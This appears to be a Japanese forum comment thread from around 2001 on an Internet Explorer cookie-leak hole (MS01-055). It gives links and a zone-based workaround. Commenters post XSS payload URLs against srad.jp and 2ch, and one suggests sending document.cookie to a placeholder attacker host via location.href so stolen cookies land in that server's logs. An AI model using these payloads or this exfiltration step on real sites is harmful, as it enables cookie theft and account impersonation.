「今度はCookieがらみ。IEのセキュリティーホール」記事へのコメント

関連リンク

[k3c (4386)]

いくつか関連リンクを提示しておきます。

• 日経バイトの記事にもありましたがMicrosoft Security Bulletin MS01-055
• BUGTRAQの記事
• セキュリティホールmemo MLの関連記事

パッチが出る前にBUGTRAQへの投稿があったので慌てて公開した、って感じですかね＜Microsoft。

回避方法

[k3c (4386)]

セキュリティホールmemo MLで、about:～を「制限付きサイト」ゾーンに登録してしまう方法が紹介されていました（[memo:1866]）。ご参考まで。

これやってみよう！

[deleted user (1544)]

上記の bugtraq の通りに書いてみました。
JScriptオンにして、M$IEで
about://srad.jp/<script%20language=JavaScript>alert(document.coo...
を実行してみてください。見事に /. のクッキーが出ます。。。。

Re:これやってみよう！

[deleted user (1544)]

で、これをどうやって悪用するんだろう?

Re:これやってみよう！

[seldon (5637)]

この例文だと、alartで単にダイヤログ出すようになってるだけだけど、alartの代わりにlocation.href(%22http://dokkano.site/?%22+document.cookie) とかしといて、そのdokkano.siteでは別のページへ直ちに移るようにしておけば、アクセスログにユーザのcookieの情報を残す事ができます。
太い帯域で繋がってるレスポンスの速いサーバを使えば、見つかりにくいかもしれないし、ポップアップ広告みたいなアドレス欄非表示のウィンドだとまずわかんないでしょうね。

Re:これやってみよう！

[sato4 (4413)]

良くわからないのですが、ブラウザがブラウザの保存しているcookieを表示することで何かセキュリティホールになるのでしょうか？

これと合わせてブラウザがcookieを第三者に渡してしまう仕組みがあるということですかね？
クリップボードとか？

Re:これやってみよう！

[Dot.Zeile (1169)]

保持されているcookieの内容がJScriptの変数に読み込める、ということは、それをformのelementに代入できるということです。JScriptはプログラム的にsubmitする能力を持っていますし、appletを貼ればLiveConnectでそちらに値を読み込むこともできますから。

Re:これやってみよう！

[anakata (5746)]

http://www.solutions.fi/iebug/
のデモも試してみてください。
見事に任意のドメインのクッキーを相手のページ内に表示させることが出来ます。
うまく使うと、cookieベースでログイン状態を保持している他のサイトのログイン状態を収集して、
簡単になりすましが出来そうですね。

Re:これやってみよう！

[deleted user (1544)]

PATH=/ 以外は指定しないと拾えないのかなあ。
盗まれにくいクッキーは PATH= を工夫するべきか。

2chもCookie漏らす

[Anonymous Coward]

２ちゃんねるにも、クロスサイトスクリプティング脆弱性がありますね。こちらでテスト。
http://pc.2ch.net/../<SCRIPT>alert('hello')</SCRIPT>
元ネタ：http://pc.2ch.net/test/read.cgi/sec/1004160822/